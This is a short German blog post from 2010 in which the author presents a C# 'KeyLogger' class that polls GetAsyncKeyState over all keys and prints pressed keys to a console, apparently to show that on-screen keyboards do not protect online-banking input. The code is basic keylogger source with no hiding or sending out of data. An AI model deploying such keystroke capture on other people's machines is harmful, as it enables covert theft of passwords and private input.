Tastatureingaben mit C# aufzeichnen – KeyLogger auf .NET

Michael Schwarz on Friday, April 23, 2010
Labels

Nach meinem Artikel Die Bildschirmtastatur bringt keine Sicherheit beim Online Banking [1] bin ich jetzt schon öfters angesprochen worden, wie man denn Tastatureingaben überwachen kann. Nachfolgend mal meine kleine KeyLogger Klasse in C#:

using System;     
using System.Runtime.InteropServices;      
using System.Windows.Forms;

namespace MS.Util     
{      
  public class KeyLogger      
  {      
    [DllImport("User32.dll")]      
    private static extern short GetAsyncKeyState(int vKey);      
    [DllImport("User32.dll")]      
    private static extern short GetAsyncKeyState(Keys vKey); 

    public void Read()     
    {      
      foreach (int i in Enum.GetValues(typeof(Keys)))      
      {      
        if (GetAsyncKeyState(i) == -32767)      
        {      
          Console.Write(Enum.GetName(typeof(Keys), i) + " ");      
        }      
      }      
    }      
  }      
} 

Die Methode Read() muss man jetzt nur schnell genug hintereinander aufrufen, dann sieht man in einer Konsolenanwendung die gedrückten Tasten. Viel Spaß beim Ausprobieren, gerade auch mit einer Bildschirmtastatur!